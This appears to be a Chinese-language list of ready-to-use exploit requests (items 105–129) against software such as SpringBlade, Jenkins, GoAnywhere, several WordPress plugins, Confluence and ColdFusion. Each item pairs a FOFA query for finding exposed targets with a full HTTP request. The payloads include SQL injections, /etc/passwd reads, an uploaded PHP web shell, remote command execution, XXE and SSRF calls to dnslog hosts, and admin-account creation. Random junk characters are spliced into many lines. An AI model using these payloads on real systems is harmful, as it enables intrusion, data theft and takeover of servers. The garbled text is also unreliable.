POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
' U0 }* X, ~; D8 B+ {0 wContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
' n1 q3 ^2 U3 k" n2 n" Y7 nReferer: http://192.168.0.1/advance/index.html?time=1671152380564
8 p( w1 S6 g1 W) L$ o3 EAccept-Encoding:gzip,deflate
2 d3 m9 ~4 q; w) Q- y' e$ R' IAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
# b$ Q3 f2 V- n- H9 n
/ ^( B+ t  `8 ~6 B{
"topicurl":"getSysStatusCfg",
8 S  M! ?- m6 K7 H; U"token":""
( `5 S! J. X" M& }}

105. SpringBlade v3.2.0 export-user SQL 注入
- P0 |0 n2 y" Y7 T# `" B0 WFOFA：body="https://bladex.vip"
( g' t4 E" L8 m/ k* s/ m- t' f& d& P4 vhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
  |. B+ c' |) N8 h
. Q4 c$ ]  |6 ~/ J! C8 |0 u106. SpringBlade dict-biz/list SQL 注入
+ k0 z  @' }3 i" `& L5 C/ n3 rFOFA：body="Saber 将不能正常工作"
6 c8 c* z5 g* q4 p# c1 f, N. FGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
  M# e. ~) h) \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
. Q  O7 c( c, d' L8 {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; S1 d2 ?: l+ j' E$ a. f

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
/ t$ F; D7 X. i, V$ I$ [0 nGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
/ v/ n* H6 s! E, V3 u% CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" o$ V- U- O: B5 \Blade-Auth:替换为自己的
9 [& M0 ~( ]3 W3 WConnection: close
* V4 b5 B4 g2 R3 s/ I! Y3 n
  G- R  a0 D( Z! p, L3 ?
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
; j+ H3 k! ?3 u, G; O/ }FOFA："dtale/static/images/favicon.png"
5 \2 F& L4 [0 pGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
4 s& \( b% Q% f' F4 h  ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* h3 a8 d3 G: {2 x. HAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 }* E  q1 _' w& F9 H# x2 O, MConnection: close

% |5 ^+ e. B0 y, S, x! v
8 H3 s& w3 Z: H/ M7 d109. Jenkins CLI 任意文件读取
* a( D  c& _$ G3 ^6 V. g; KCVE-2024-23897
- j$ w/ W6 A9 s! o  R+ V- _FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
$ |/ `; s# B1 [- \' n# MHost:
0 ~' ?; L, R3 s' U: YContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
0 |9 }5 Z7 I; V7 z4 L2 ~# ?Side: upload
Connection: keep-alive
, g0 @' g8 K& cContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
' d" \+ q. c2 N7 ~4 ^: x

( [  d( D2 i0 M, r8 L0 G8 M. ePOST /cli?remoting=false HTTP/1.1
! ^  T; n* s' V4 THost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
$ Q6 r# B$ b/ xdownload
0 ^& M8 S  J2 ~8 `; n, `Content-Type: application/x-www-form-urlencoded
Content-Length: 0

; x% H4 V/ k8 X
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
* x1 U7 y4 c7 W3 \4 @[COMMAND]
Lists all the available commands or a detailed description of single command.
, J: u" ]1 b2 J8 j! M COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

6 L4 w: n8 t& U6 q% j
$ q- Y$ a  E/ h$ G' C7 K5 m$ D110. Goanywhere MFT 未授权创建管理员
  R4 S0 Y; y( \. ACVE-2024-0204
! `& F/ Y( r! C5 j/ A3 _( R& `FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
: J9 y! k* @* U4 Z- G: r6 oAccept: */*
Accept-Language: en
' C/ Q2 |/ U0 g7 \$ |Accept-Encoding: gzip
0 o+ r" ~% A, }% Y3 Z; _5 N; _3 j4 Y

111. WordPress Plugin HTML5 Video Player SQL注入
1 V2 {) a* [& Q# Q8 q/ v) Z$ _CVE-2024-1061
2 ?( w. Z$ V7 ]FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
0 c& v1 o' w8 \4 P8 T8 @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ d. }$ k& K$ j8 W* P1 AAccept: */*
- P6 C# O/ R$ x, I- B8 k+ s; g3 n- ZAccept-Language: en
, y- s1 q6 ~: M5 \* A" _Accept-Encoding: gzip
$ c$ {/ n, r8 D  N# H4 q: A6 f
8 I" v- x$ O2 M) T# U0 r/ a% M9 U
112. WordPress Plugin NotificationX SQL 注入
* s  v5 n: v3 t2 p0 L9 BCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
0 u( o, W6 N- I) WPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
- R% @# Q9 e$ v+ T: J0 l  ZContent-Type: application/json
# M) B6 h9 I/ |$ D2 Q/ L% \
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
2 z* ]8 D+ q: S% g3 q% w* n4 H" B( f1 N

2 [) A- Y5 N4 t113. WordPress Automatic 插件任意文件下载和SSRF
3 [( i& d+ R/ l' v9 |7 @7 ICVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
8 q& O( c+ w1 cUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
) n( o. D# z; k& T7 l+ U$ `Accept-Encoding: gzip
: u0 z. f4 w- e* z. k( \5 U1 w6 P

114. WordPress MasterStudy LMS插件 SQL注入
( g0 C. a0 ?4 t' M8 a$ B. W5 [! }FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
  O$ J# v( Y8 Y: i, P% dAccept-Encoding: gzip, deflate
Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
7 M3 z( w3 a- K8 b: b* h7 \+ UCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
; Q( m9 n+ `2 }$ F% T$ H! Z7 u: J第一步，获取网站的nonce值
0 c: R5 C3 n1 CGET / HTTP/1.1
( l' ]* q. }1 Z4 z" Y- E! ~4 {/ gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
+ x  o( T0 i: v6 C) Y/ kConnection: close
: G  d) ?2 Q+ X( n- V7 e( GAccept-Encoding: gzip

7 b/ L0 {7 j3 q' E+ c8 J% N
( p5 V# t/ g% Z" X第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" J8 Y( q3 ^- P5 t: M* o4 D3 dConnection: close
8 H0 N9 w9 U9 _# Q" p8 m2 _Content-Length: 356
2 ]  _0 `. ^* E* pContent-Type: application/json
2 C! X# i! W0 T& U8 |# s$ AAccept-Encoding: gzip

6 ~% U1 N8 z& e6 Y" ?: Q{
"postId": "1",
  "nonce": "第一步获得的值",
% P! z$ X' B8 ]' D  "element": {
9 @) f& H) V8 J2 a' ]5 P! R    "name": "container",
6 w9 r6 H) s+ ^$ `& ?9 o5 y    "settings": {
      "hasLoop": "true",
7 [+ }7 f2 l1 P* M6 o9 [      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
5 M+ w  e" b3 t      }
+ ^: j  g5 G4 G5 x3 R3 L" j0 L    }
  }
}


116. wordpress js-support-ticket文件上传
' ~8 S; y$ N* x2 q9 |9 h0 KFOFA：body="wp-content/plugins/js-support-ticket"
! ]* E7 t6 I, Y$ V* X6 z/ ^7 s" H: }POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
$ |* U! p  \. N' A5 U% y
* W; H' _2 Y% @$ y, ^/ @----------767099171
5 j. i6 I  M4 r' _/ {  iContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
, {/ w7 \2 L/ n) Z- x----------767099171
, f; L8 @' B; u; ^6 sContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
* c" a# @/ Q$ g: y5 K: T1 e" @Content-Type: image/png
----------767099171--

1 @0 t) k! a" Z
- w9 D$ q/ N3 g3 m3 d# A117. WordPress LayerSlider插件SQL注入
, Z+ [. t$ f% r8 X" u+ oversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
: B1 @" e" y6 t( k, o- ]9 e9 nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: p: P) }( Y. o6 @$ PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  d+ K) M- Z) d& LAccept-Encoding: gzip, deflate, br
% N0 s1 X/ I2 f4 oConnection: close
Upgrade-Insecure-Requests: 1
/ L) b1 Y. }* K- s& {2 J

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
1 E% O4 l, u' t0 eFOFA：title="Smart管理平台"
9 @: E0 r8 {( [POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
$ F+ N3 K5 `3 \Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' }* j, M% P( h! \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
2 s3 K9 e: \6 FContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
4 [: x: u' }  b/ X" l5 ]; jConnection: close
/ D! W2 Y3 T+ ~6 @* g+ G3 M
6 i% A1 u. s. b. z; j-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
$ {3 M, \2 D' d* }  @Content-Type: application/octet-stream
9 |' A# Z- y; m. ^
! c  W3 n1 @) N" J& F, x' c<?php
3 H% f1 L* k( \  D2 [0 A( Isystem($_POST["passwd"]);
?>
  {3 u. x2 ]- `-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

' |. Z3 i& W) ~; l& F/ Q8 K8 W) `/home/src.php
-----------------------------13979701222747646634037182887--
: u! a9 a/ s0 a- w* J

. h  r0 y, z" B' B访问/home/src.php
' P$ }4 K/ v+ L. ~4 Q8 [. H
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
/ ^3 o; Y1 E! W1 `' H" q: j2 g; \FOFA：title="Smart管理平台"
, z' F$ r# e- Q先登录进入系统，默认账号密码为admin/admin
; [; @3 d! p& t2 RPOST /sysmanage/sysmanageajax.php HTTP/1.11
) X: n7 F( L" ~$ a9 M" m# _Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" F- N% L) D/ N  _( b3 jContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
! _! `8 x8 }0 ]6 J5 C4 T, s/ BOrigin: https://58.18.133.60:8443
0 m, U3 h; P: f1 @' lReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
6 G& t4 ~- Z, P( g: LSec-Fetch-Dest: empty
+ Y. u- m$ j0 J3 S$ h" y+ h( zSec-Fetch-Mode: cors
$ h2 g3 D) @* |* C( j+ tSec-Fetch-Site: same-origin
! r% j+ v2 J- X) O1 b) ?X-Forwarded-For: 1.1.1.1
) B0 x, \5 F, E: U9 vX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
4 k" A, {5 C4 g7 \! ]5 f  ]) n
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

2 E  l3 ^6 z0 Y+ G
) ?- t$ b# B$ \4 r120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 `! o1 C* O* @# y& F: PCVE-2024-1253
6 m  N* R' E( `) A4 E3 D) [$ iFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
& \; w! Y' s+ ?: X9 `9 a* h: DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  g. j( z6 j7 J/ G  q( XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' X- m0 q6 x1 U* U" v5 i6 c3 UAccept-Encoding: gzip, deflate
0 M* d9 T) R; G# U) c3 ~Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
& W* y; s6 e. h% i. p) W  l; mReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
! U( W$ I" v  \" VSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
$ D3 y  A# T2 eSec-Fetch-User: ?1
) [8 z: K9 k2 k& ^0 ]Te: trailers
/ S' G# x6 B, B1 W3 ~Connection: close

9 b, J& R/ n& Z% A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
# K, _9 ?% B0 U& l7 a) }4 h2 v9 z1 r9 p
! N3 k! m% V3 T1 r1 p- B8 T<?php phpinfo()?>
. i  o  |, }5 C% J-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
" D" G! t0 D$ n- \
- n' ?' w  P8 D9 `3 u1
-----------------------------42328904123665875270630079328
5 \1 U! M, u/ x" w" rContent-Disposition: form-data; name="1_ck"
, d4 Y2 ], H" O; `$ J
% z2 p8 U4 I1 Y  M' R  T* Y" z1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
5 G; G' I9 x8 a/ ?/ ?6 q
1 T6 U# M, S* b  ^4 ]) Uimport
3 Z& v4 }' h* i6 v-----------------------------42328904123665875270630079328


文件路径/upload/2.php
+ p' x: b! M# m
0 E3 i0 ?2 ^/ d8 Y( o  T% |3 n121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
* @# p, T" F, B7 L: U/ d, WFOFA：title="Smart管理平台"
$ J, ~/ j+ I( K! a2 T. H, IPOST /useratte/userattestation.php HTTP/1.1
3 Z) a& Z- a9 w: u1 b/ yHost: 192.168.40.130:8443
2 f1 _9 H$ t6 ICookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
5 A: Z4 ~& M! C7 MUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) t% A$ u$ V# F9 i5 }Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' u: b9 z+ }; K" y7 tContent-Length: 592
Origin: https://192.168.40.130:8443
+ M5 m% t- [; Z  y6 q$ XUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
& _" M4 ?* y- I9 C/ J  g, hSec-Fetch-Mode: navigate
' h6 P' q) ~& [" u9 x3 YSec-Fetch-Site: same-origin
% N2 O# s, l0 q# {. G/ G& S# bSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

( k  F! X" z) Q. p3 }<?php phpinfo();?>
-----------------------------42328904123665875270630079328
6 s& m% D+ z- j7 C; k$ n4 ]" M% W1 Y, ^Content-Disposition: form-data; name="id_type"

! T' d# ^* G% M# p) j) n. i  U1
-----------------------------42328904123665875270630079328
- G) n+ ~' V3 [( K& }Content-Disposition: form-data; name="1_ck"
% [3 }# I* g. O3 Z; a
: ?: k- b  }/ i. N9 b. x( z1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

2 H/ }5 M3 l7 F3 u% R5 i1 iset
1 _* u3 C/ s+ @! _-----------------------------42328904123665875270630079328
6 D; o6 F) O; z. |& A
$ K% P# g( I5 @( |
- n) H$ Y) y! sboot/web/upload/weblogo/1.php

+ M. u7 }& }4 k1 r, X! u122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
0 S. A$ O' h. v% Q2 m0 U% \GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
4 ?3 ~* z+ u" ~Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
- x+ H- c0 H' j7 v7 r; JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& ]! g) [# M' G9 _, eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ v0 ?2 ^2 C- \) T. JAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
$ r$ J, u7 }# Z4 t/ aSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
% }+ d" _+ p) r. V$ n+ DTe: trailers
Connection: close


6 z8 s: K6 K+ C0 C' `; s- I) e123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
; G) m' K( h4 Y8 RHost: localhost:8090
Accept-Encoding: gzip, deflate, br
  s# m2 |) Y$ L8 T. i, [Accept: */*
7 Y0 ^+ u# d5 ^2 U$ Y: h, F: gAccept-Language: en-US;q=0.9,en;q=0.8
5 |. }# R7 M, {7 b% X! N( zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
& i1 ?' S' C' Z7 R  X& i) WContent-Type: application/x-www-form-urlencoded

0 `  i6 H2 v# V8 ]label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
" k& x, }. x' V7 q- u, E

124. 湖南建研工程质量检测系统任意文件上传
/ Q4 l# E+ `' w4 z* `FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
& ?7 g2 I) U* h9 JHost: 192.168.40.130:8282
9 l3 c9 l' }8 i/ @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" u+ |4 ~9 m* ~! V  v8 lContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
( `% S2 Q! }0 Q( fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

, T+ p# j0 |1 L8 S
http://192.168.40.130:8282/Scripts/abcgcg.aspx

* ?9 b1 o+ y2 B& M125. ConnectWise ScreenConnect身份验证绕过
9 r/ a2 w7 D* O& `: tCVE-2024-1709
7 t( ^/ j& ]& W0 JFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

: s& D0 y$ q4 H+ {+ N/ e
使用方法
$ |& F& k3 q  l6 j: D, Z. Zpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
4 ]9 {  r  p" z* T2 s/ m
6 ?$ \  [$ R6 @; R& R
创建好用户后直接登录后台，可以执行系统命令。
) j7 U, D: q+ d- B, w  j2 K0 A
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
& R5 d; w$ @% b5 N% ~GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
" f8 Y  T0 a. D/ cAccept: */*
/ n5 S9 M4 v& D6 r  x- b7 h4 g1 rAccept-Language: en
Accept-Encoding: gzip
5 V" R0 d8 |' C
1 f% v# [5 L& z1 E) |6 R0 T
  \7 d/ i) _4 O! `) `1 q8 \127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
( B! O  x- f8 Y% L$ UHost: 192.168.40.130:8888
$ f' V! F6 }+ S/ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
: e' Z5 \' y5 S4 G9 ~# c) ZContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ k$ c; y  c2 d9 F+ O, FConnection: close
& d' N! {( j! J& g8 l5 N+ U3 ~Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
, S) `2 {; R7 g4 wPurpose: prefetch
Sec-Purpose: prefetch;prerender
' j% Z/ y9 J" R3 C& v, V! y' N
) \0 A) V, W9 h------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
9 J) d( i. f2 m: ~
/ H# ~6 r" S2 Y2 r0 [; y( l5 aBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
& X0 a* X' G, r8 j  |Content-Disposition: form-data;name="Params"
8 z3 {+ e4 i4 U. K' cContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
% V( R; @5 t. A>
<test>&t;</test>
8 j3 H7 |- g$ F% Q' A------WebKitFormBoundaryJGgV5l5ta05yAIe0--

% Z/ r7 Q4 |/ c4 i4 B4 T
0 s* K" T) ]# m+ M: m- d
128. Adobe ColdFusion 反序列化
& {9 E; u  p( h% N* A0 JCVE-2023-38203
$ b( G7 n8 ^' s" [7 R+ ^1 T+ {Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
& i/ \# t. `  G. _5 U  EPAYLOAD
% g: `/ N1 d2 z9 C2 U
129. Adobe ColdFusion 任意文件读取
2 m: s7 E& c5 @0 B0 {$ DCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
8 q7 k6 {% v& ]* y( r7 DHost: x.x.x.x
7 |; U, y; A. |0 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
% ?0 ?' m7 t* K" q% R! a, s# UConnection: close
/ r8 ^; [7 X1 t0 n% x5 W. \

; E  b; o5 \9 q  a5 t7 N第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
8 g: q* \; D" Z  P7 T1 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
% \+ D5 y3 l; f6 u9 MAccept-Encoding: gzip, deflate
Connection: close
